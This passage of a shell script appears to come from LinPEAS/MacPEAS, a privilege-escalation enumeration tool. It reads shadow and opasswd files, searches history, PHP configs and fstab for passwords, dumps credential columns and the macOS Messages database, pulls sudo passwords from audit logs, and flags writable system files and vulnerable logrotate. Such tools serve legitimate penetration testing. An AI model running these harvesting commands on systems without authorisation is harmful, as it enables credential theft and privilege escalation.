if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$(command -v getfacl)" ]; then #Find ACL files in macos (veeeery slow)
|
|
||||||
ls -RAle / 2>/dev/null | grep -v "group:everyone deny delete" | grep -E -B1 "\d: " | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
|
||||||
fi
|
|
||||||
echo ""
|
|
||||||
|
|
||||||
##-- IF) Files with ResourceFork
|
|
||||||
#if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then # TOO SLOW, CHECK IT LATER
|
|
||||||
# print_2title "Files with ResourceFork"
|
|
||||||
# print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#resource-forks-or-macos-ads"
|
|
||||||
# find $HOMESEARCH -type f -exec ls -ld {} \; 2>/dev/null | grep -E ' [x\-]@ ' | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork"
|
|
||||||
#fi
|
|
||||||
#echo ""
|
|
||||||
|
|
||||||
##-- IF) .sh files in PATH
|
|
||||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
|
||||||
print_2title ".sh files in path"
|
|
||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path"
|
|
||||||
echo $PATH | tr ":" "\n" | while read d; do
|
|
||||||
for f in $(find "$d" -name "*.sh" 2>/dev/null); do
|
|
||||||
if ! [ "$IAMROOT" ] && [ -O "$f" ]; then
|
|
||||||
echo "You own the script: $f" | sed -${E} "s,.*,${SED_RED},"
|
|
||||||
elif ! [ "$IAMROOT" ] && [ -w "$f" ]; then #If write permision, win found (no check exploits)
|
|
||||||
echo "You can write script: $f" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
|
||||||
else
|
|
||||||
echo $f | sed -${E} "s,$shscripsG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED},";
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
done
|
|
||||||
echo ""
|
|
||||||
|
|
||||||
broken_links=$(find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken)
|
|
||||||
if [ "$broken_links" ] || [ "$DEBUG" ]; then
|
|
||||||
print_2title "Broken links in path"
|
|
||||||
echo $PATH | tr ":" "\n" | while read d; do
|
|
||||||
find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken | sed -${E} "s,broken,${SED_RED},";
|
|
||||||
done
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) Executable files added by user
|
|
||||||
print_2title "Executable files added by user (limit 70)"
|
|
||||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
|
||||||
find / -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "000|/site-packages|/python|/node_modules|\.sample|/gems" | sort | tail -n 70
|
|
||||||
else
|
|
||||||
find "$SEARCH_IN_FOLDER" -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "000|/site-packages|/python|/node_modules|\.sample|/gems" | sort | tail -n 70
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ "$MACPEAS" ]; then
|
|
||||||
print_2title "Unsigned Applications"
|
|
||||||
macosNotSigned /System/Applications
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) Unexpected in /opt
|
|
||||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
|
||||||
if [ "$(ls /opt 2>/dev/null)" ]; then
|
|
||||||
print_2title "Unexpected in /opt (usually empty)"
|
|
||||||
ls -la /opt
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) Unexpected folders in /
|
|
||||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
|
||||||
print_2title "Unexpected in root"
|
|
||||||
if [ "$MACPEAS" ]; then
|
|
||||||
(find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsMacG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
|
|
||||||
else
|
|
||||||
(find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
|
|
||||||
fi
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) Files (scripts) in /etc/profile.d/
|
|
||||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
|
||||||
print_2title "Files (scripts) in /etc/profile.d/"
|
|
||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#profiles-files"
|
|
||||||
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
|
|
||||||
(ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${SED_GREEN},") || echo_not_found "/etc/profile.d/"
|
|
||||||
check_critial_root_path "/etc/profile"
|
|
||||||
check_critial_root_path "/etc/profile.d/"
|
|
||||||
fi
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) Files (scripts) in /etc/init.d/
|
|
||||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
|
||||||
print_2title "Permissions in init, init.d, systemd, and rc.d"
|
|
||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#init-init-d-systemd-and-rc-d"
|
|
||||||
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
|
|
||||||
check_critial_root_path "/etc/init/"
|
|
||||||
check_critial_root_path "/etc/init.d/"
|
|
||||||
check_critial_root_path "/etc/rc.d/init.d"
|
|
||||||
check_critial_root_path "/usr/local/etc/rc.d"
|
|
||||||
check_critial_root_path "/etc/rc.d"
|
|
||||||
check_critial_root_path "/etc/systemd/"
|
|
||||||
check_critial_root_path "/lib/systemd/"
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) Hashes in passwd file
|
|
||||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
|
||||||
print_list "Hashes inside passwd file? ........... "
|
|
||||||
if grep -qv '^[^:]*:[x\*\!]\|^#\|^$' /etc/passwd /etc/master.passwd /etc/group 2>/dev/null; then grep -v '^[^:]*:[x\*]\|^#\|^$' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
|
|
||||||
else echo_no
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) Writable in passwd file
|
|
||||||
print_list "Writable passwd file? ................ "
|
|
||||||
if [ -w "/etc/passwd" ]; then echo "/etc/passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
|
||||||
elif [ -w "/etc/pwd.db" ]; then echo "/etc/pwd.db is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
|
||||||
elif [ -w "/etc/master.passwd" ]; then echo "/etc/master.passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
|
||||||
else echo_no
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) Credentials in fstab
|
|
||||||
print_list "Credentials in fstab/mtab? ........... "
|
|
||||||
if grep -qE "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null; then grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
|
|
||||||
else echo_no
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) Read shadow files
|
|
||||||
print_list "Can I read shadow files? ............. "
|
|
||||||
if [ "$(cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null)" ]; then cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
|
|
||||||
else echo_no
|
|
||||||
fi
|
|
||||||
|
|
||||||
print_list "Can I read shadow plists? ............ "
|
|
||||||
possible_check=""
|
|
||||||
(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
|
|
||||||
|
|
||||||
print_list "Can I write shadow plists? ........... "
|
|
||||||
possible_check=""
|
|
||||||
(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -w "$l" ];then echo "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
|
|
||||||
|
|
||||||
##-- IF) Read opasswd file
|
|
||||||
print_list "Can I read opasswd file? ............. "
|
|
||||||
if [ -r "/etc/security/opasswd" ]; then cat /etc/security/opasswd 2>/dev/null || echo ""
|
|
||||||
else echo_no
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) network-scripts
|
|
||||||
print_list "Can I write in network-scripts? ...... "
|
|
||||||
if ! [ "$IAMROOT" ] && [ -w "/etc/sysconfig/network-scripts/" ]; then echo "You have write privileges on /etc/sysconfig/network-scripts/" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
|
||||||
elif [ "$(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges on $(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
|
||||||
else echo_no
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) Read root dir
|
|
||||||
print_list "Can I read root folder? .............. "
|
|
||||||
(ls -al /root/ 2>/dev/null | grep -vi "total 0") || echo_no
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) Root files in home dirs
|
|
||||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
|
||||||
print_2title "Searching root files in home dirs (limit 30)"
|
|
||||||
(find $HOMESEARCH -user root 2>/dev/null | head -n 30 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_RED},") || echo_not_found
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) Others files in my dirs
|
|
||||||
if ! [ "$IAMROOT" ]; then
|
|
||||||
print_2title "Searching folders owned by me containing others files on it (limit 100)"
|
|
||||||
(find $ROOT_FOLDER -type d -user "$USER" ! -path "/proc/*" 2>/dev/null | head -n 100 | while read d; do find "$d" -maxdepth 1 ! -user "$USER" \( -type f -or -type d \) -exec dirname {} \; 2>/dev/null; done) | sort | uniq | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${C}[1;13m&${C}[0m,g"
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) Readable files belonging to root and not world readable
|
|
||||||
if ! [ "$IAMROOT" ]; then
|
|
||||||
print_2title "Readable files belonging to root and readable by me but not world readable"
|
|
||||||
(find $ROOT_FOLDER -type f -user root ! -perm -o=r ! -path "/proc/*" 2>/dev/null | grep -v "\.journal" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null | sed -${E} "s,/.*,${SED_RED},"; fi; done) || echo_not_found
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) Modified interesting files into specific folders in the last 5mins
|
|
||||||
print_2title "Modified interesting files in the last 5mins (limit 100)"
|
|
||||||
find $ROOT_FOLDER -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" ! -path "/private/var/*" 2>/dev/null | grep -v "/linpeas" | head -n 100 | sed -${E} "s,$Wfolders,${SED_RED},"
|
|
||||||
echo ""
|
|
||||||
|
|
||||||
##-- IF) Writable log files
|
|
||||||
if command -v logrotate >/dev/null && logrotate --version | head -n 1 | grep -Eq "[012]\.[0-9]+\.|3\.[0-9]\.|3\.1[0-7]\.|3\.18\.0"; then #3.18.0 and below
|
|
||||||
print_2title "Writable log files (logrotten) (limit 50)"
|
|
||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#logrotate-exploitation"
|
|
||||||
logrotate --version 2>/dev/null || echo_not_found "logrotate"
|
|
||||||
lastWlogFolder="ImPOsSiBleeElastWlogFolder"
|
|
||||||
logfind=$(find $ROOT_FOLDER -type f -name "*.log" -o -name "*.log.*" 2>/dev/null | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 3){ print line_init; }; if (cont == "3"){print "#)You_can_write_more_log_files_inside_last_directory"}; pre=act}' | head -n 50)
|
|
||||||
printf "%s\n" "$logfind" | while read log; do
|
|
||||||
if ! [ "$IAMROOT" ] && [ "$log" ] && [ -w "$log" ] || ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders"; then #Only print info if something interesting found
|
|
||||||
if echo "$log" | grep -q "You_can_write_more_log_files_inside_last_directory"; then printf $ITALIC"$log\n"$NC;
|
|
||||||
elif ! [ "$IAMROOT" ] && [ -w "$log" ] && [ "$(command -v logrotate 2>/dev/null)" ] && logrotate --version 2>&1 | grep -qE ' 1| 2| 3.1'; then printf "Writable:$RED $log\n"$NC; #Check vuln version of logrotate is used and print red in that case
|
|
||||||
elif ! [ "$IAMROOT" ] && [ -w "$log" ]; then echo "Writable: $log";
|
|
||||||
elif ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders" && [ "$log" ] && [ ! "$lastWlogFolder" == "$log" ]; then lastWlogFolder="$log"; echo "Writable folder: $log" | sed -${E} "s,$Wfolders,${SED_RED},g";
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo ""
|
|
||||||
|
|
||||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
|
||||||
##-- IF) Files inside my home
|
|
||||||
print_2title "Files inside $HOME (limit 20)"
|
|
||||||
(ls -la $HOME 2>/dev/null | head -n 23) || echo_not_found
|
|
||||||
echo ""
|
|
||||||
|
|
||||||
##-- IF) Files inside /home
|
|
||||||
print_2title "Files inside others home (limit 20)"
|
|
||||||
(find $HOMESEARCH -type f 2>/dev/null | grep -v -i "/"$USER | head -n 20) || echo_not_found
|
|
||||||
echo ""
|
|
||||||
|
|
||||||
##-- IF) Mail applications
|
|
||||||
print_2title "Searching installed mail applications"
|
|
||||||
ls /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /etc 2>/dev/null | grep -Ewi "$mail_apps"
|
|
||||||
echo ""
|
|
||||||
|
|
||||||
##-- IF) Mails
|
|
||||||
print_2title "Mails (limit 50)"
|
|
||||||
(find /var/mail/ /var/spool/mail/ /private/var/mail -type f -ls 2>/dev/null | head -n 50 | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_GREEN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found
|
|
||||||
echo ""
|
|
||||||
|
|
||||||
##-- IF) Backup folders
|
|
||||||
if [ "$backup_folders" ] || [ "$DEBUG" ]; then
|
|
||||||
print_2title "Backup folders"
|
|
||||||
printf "%s\n" "$backup_folders" | while read b ; do
|
|
||||||
ls -ld "$b" 2> /dev/null | sed -${E} "s,backups|backup,${SED_RED},g";
|
|
||||||
ls -l "$b" 2>/dev/null && echo ""
|
|
||||||
done
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) Backup files
|
|
||||||
print_2title "Backup files (limited 100)"
|
|
||||||
backs=$(find $ROOT_FOLDER -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bak\.*" -o -name "*\.bck" -o -name "*\.bck\.*" -o -name "*\.bk" -o -name "*\.bk\.*" -o -name "*\.old" -o -name "*\.old\.*" \) -not -path "/proc/*" 2>/dev/null)
|
|
||||||
printf "%s\n" "$backs" | head -n 100 | while read b ; do
|
|
||||||
if [ -r "$b" ]; then
|
|
||||||
ls -l "$b" | grep -Ev "$notBackup" | grep -Ev "$notExtensions" | sed -${E} "s,backup|bck|\.bak|\.old,${SED_RED},g";
|
|
||||||
fi;
|
|
||||||
done
|
|
||||||
echo ""
|
|
||||||
|
|
||||||
##-- IF) DB files
|
|
||||||
if [ "$MACPEAS" ]; then
|
|
||||||
print_2title "Reading messages database"
|
|
||||||
sqlite3 $HOME/Library/Messages/chat.db 'select * from message' 2>/dev/null
|
|
||||||
sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment' 2>/dev/null
|
|
||||||
sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages' 2>/dev/null
|
|
||||||
|
|
||||||
fi
|
|
||||||
|
|
||||||
|
|
||||||
if [ "$PSTORAGE_DATABASE" ] || [ "$DEBUG" ]; then
|
|
||||||
print_2title "Searching tables inside readable .db/.sql/.sqlite files (limit 100)"
|
|
||||||
FILECMD="$(command -v file 2>/dev/null)"
|
|
||||||
printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
|
|
||||||
if [ "$FILECMD" ]; then
|
|
||||||
echo "Found "$(file "$f") | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
|
|
||||||
else
|
|
||||||
echo "Found $f" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
SQLITEPYTHON=""
|
|
||||||
echo ""
|
|
||||||
printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
|
|
||||||
if ([ -r "$f" ] && [ "$FILECMD" ] && file "$f" | grep -qi sqlite) || ([ -r "$f" ] && [ ! "$FILECMD" ]); then #If readable and filecmd and sqlite, or readable and not filecmd
|
|
||||||
if [ "$(command -v sqlite3 2>/dev/null)" ]; then
|
|
||||||
tables=$(sqlite3 $f ".tables" 2>/dev/null)
|
|
||||||
#printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
|
|
||||||
elif [ "$(command -v python 2>/dev/null)" ] || [ "$(command -v python3 2>/dev/null)" ]; then
|
|
||||||
SQLITEPYTHON=$(command -v python 2>/dev/null || command -v python3 2>/dev/null)
|
|
||||||
tables=$($SQLITEPYTHON -c "print('\n'.join([t[0] for t in __import__('sqlite3').connect('$f').cursor().execute('SELECT name FROM sqlite_master WHERE type=\'table\' and tbl_name NOT like \'sqlite_%\';').fetchall()]))" 2>/dev/null)
|
|
||||||
#printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
|
|
||||||
else
|
|
||||||
tables=""
|
|
||||||
fi
|
|
||||||
if [ "$tables" ] || [ "$DEBUG" ]; then
|
|
||||||
printf $GREEN" -> Extracting tables from$NC $f $DG(limit 20)\n"$NC
|
|
||||||
printf "%s\n" "$tables" | while read t; do
|
|
||||||
columns=""
|
|
||||||
# Search for credentials inside the table using sqlite3
|
|
||||||
if [ -z "$SQLITEPYTHON" ]; then
|
|
||||||
columns=$(sqlite3 $f ".schema $t" 2>/dev/null | grep "CREATE TABLE")
|
|
||||||
# Search for credentials inside the table using python
|
|
||||||
else
|
|
||||||
columns=$($SQLITEPYTHON -c "print(__import__('sqlite3').connect('$f').cursor().execute('SELECT sql FROM sqlite_master WHERE type!=\'meta\' AND sql NOT NULL AND name =\'$t\';').fetchall()[0][0])" 2>/dev/null)
|
|
||||||
fi
|
|
||||||
#Check found columns for interesting fields
|
|
||||||
INTCOLUMN=$(echo "$columns" | grep -i "username\|passw\|credential\|email\|hash\|salt")
|
|
||||||
if [ "$INTCOLUMN" ]; then
|
|
||||||
printf ${BLUE}" --> Found interesting column names in$NC $t $DG(output limit 10)\n"$NC | sed -${E} "s,user.*|credential.*,${SED_RED},g"
|
|
||||||
printf "$columns\n" | sed -${E} "s,username|passw|credential|email|hash|salt|$t,${SED_RED},g"
|
|
||||||
(sqlite3 $f "select * from $t" || $SQLITEPYTHON -c "print(', '.join([str(x) for x in __import__('sqlite3').connect('$f').cursor().execute('SELECT * FROM \'$t\';').fetchall()[0]]))") 2>/dev/null | head
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
fi
|
|
||||||
echo ""
|
|
||||||
|
|
||||||
if [ "$MACPEAS" ]; then
|
|
||||||
print_2title "Downloaded Files"
|
|
||||||
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'select LSQuarantineAgentName, LSQuarantineDataURLString, LSQuarantineOriginURLString, date(LSQuarantineTimeStamp + 978307200, "unixepoch") as downloadedDate from LSQuarantineEvent order by LSQuarantineTimeStamp' | sort | grep -Ev "\|\|\|"
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) Web files
|
|
||||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
|
||||||
print_2title "Web files?(output limit)"
|
|
||||||
ls -alhR /var/www/ 2>/dev/null | head
|
|
||||||
ls -alhR /srv/www/htdocs/ 2>/dev/null | head
|
|
||||||
ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head
|
|
||||||
ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) All hidden files
|
|
||||||
print_2title "All hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)"
|
|
||||||
find $ROOT_FOLDER -type f -iname ".*" ! -path "/sys/*" ! -path "/System/*" ! -path "/private/var/*" -exec ls -l {} \; 2>/dev/null | grep -Ev "$INT_HIDDEN_FILES" | grep -Ev "_history$|\.gitignore|.npmignore|\.listing|\.ignore|\.uuid|\.depend|\.placeholder|\.gitkeep|\.keep|\.keepme" | head -n 70
|
|
||||||
echo ""
|
|
||||||
|
|
||||||
##-- IF) Readable files in /tmp, /var/tmp, bachups
|
|
||||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
|
||||||
print_2title "Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)"
|
|
||||||
filstmpback=$(find /tmp /var/tmp /private/tmp /private/var/at/tmp /private/var/tmp $backup_folders_row -type f 2>/dev/null | head -n 70)
|
|
||||||
printf "%s\n" "$filstmpback" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null; fi; done
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) Interesting writable files by ownership or all
|
|
||||||
if ! [ "$IAMROOT" ]; then
|
|
||||||
print_2title "Interesting writable files owned by me or writable by everyone (not in Home) (max 500)"
|
|
||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files"
|
|
||||||
#In the next file, you need to specify type "d" and "f" to avoid fake link files apparently writable by all
|
|
||||||
obmowbe=$(find $ROOT_FOLDER '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
|
|
||||||
printf "%s\n" "$obmowbe" | while read entry; do
|
|
||||||
if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
|
|
||||||
elif echo "$entry" | grep -qE "$writeVB"; then
|
|
||||||
echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
|
|
||||||
else
|
|
||||||
echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) Interesting writable files by group
|
|
||||||
if ! [ "$IAMROOT" ]; then
|
|
||||||
print_2title "Interesting GROUP writable files (not in Home) (max 500)"
|
|
||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files"
|
|
||||||
for g in $(groups); do
|
|
||||||
iwfbg=$(find $ROOT_FOLDER '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
|
|
||||||
if [ "$iwfbg" ] || [ "$DEBUG" ]; then
|
|
||||||
printf " Group $GREEN$g:\n$NC";
|
|
||||||
printf "%s\n" "$iwfbg" | while read entry; do
|
|
||||||
if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
|
|
||||||
elif echo "$entry" | grep -Eq "$writeVB"; then
|
|
||||||
echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
|
|
||||||
else
|
|
||||||
echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) Passwords in history cmd
|
|
||||||
if [ "$(history 2>/dev/null)" ] || [ "$DEBUG" ]; then
|
|
||||||
print_2title "Searching passwords in history cmd"
|
|
||||||
history | grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) Passwords in history files
|
|
||||||
if [ "$PSTORAGE_HISTORY" ] || [ "$DEBUG" ]; then
|
|
||||||
print_2title "Searching passwords in history files"
|
|
||||||
printf "%s\n" "$PSTORAGE_HISTORY" | while read f; do grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"; done
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) Passwords in config PHP files
|
|
||||||
if [ "$PSTORAGE_PHP_FILES" ] || [ "$DEBUG" ]; then
|
|
||||||
print_2title "Searching passwords in config PHP files"
|
|
||||||
printf "%s\n" "$PSTORAGE_PHP_FILES" | while read c; do grep -EiI "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" "$c" 2>/dev/null | grep -Ev "function|password.*= ?\"\"|password.*= ?''" | sed '/^.\{150\}./d' | sort | uniq | sed -${E} "s,[pP][aA][sS][sS][wW]|[dD][bB]_[pP][aA][sS][sS],${SED_RED},g"; done
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) Passwords files in home
|
|
||||||
if [ "$PSTORAGE_PASSWORD_FILES" ] || [ "$DEBUG" ]; then
|
|
||||||
print_2title "Searching *password* or *credential* files in home (limit 70)"
|
|
||||||
(printf "%s\n" "$PSTORAGE_PASSWORD_FILES" | grep -v "/snap/" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (cont < 3){ print line_init; } if (cont == "3"){print " #)There are more creds/passwds files in the previous parent folder\n"}; if (act == pre){(cont += 1)} else {cont=0}; pre=act }' | head -n 70 | sed -${E} "s,password|credential,${SED_RED}," | sed "s,There are more creds/passwds files in the previous parent folder,${C}[3m&${C}[0m,") || echo_not_found
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) TTY passwords
|
|
||||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
|
||||||
print_2title "Checking for TTY (sudo/su) passwords in audit logs"
|
|
||||||
aureport --tty 2>/dev/null | grep -E "su |sudo " | sed -${E} "s,su|sudo,${SED_RED},g"
|
|
||||||
find /var/log/ -type f -exec grep -RE 'comm="su"|comm="sudo"' '{}' \; 2>/dev/null | sed -${E} "s,\"su\"|\"sudo\",${SED_RED},g" | sed -${E} "s,data=.*,${SED_RED},g"
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) IPs inside logs
|
|
||||||
if [ "$DEBUG" ]; then
|
|
||||||
print_2title "Searching IPs inside logs (limit 70)"
|
|
||||||
(find /var/log/ /private/var/log -type f -exec grep -R -a -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" "{}" \;) 2>/dev/null | grep -v "\.0\.\|:0\|\.0$" | sort | uniq -c | sort -r -n | head -n 70
|
|
||||||
echo ""
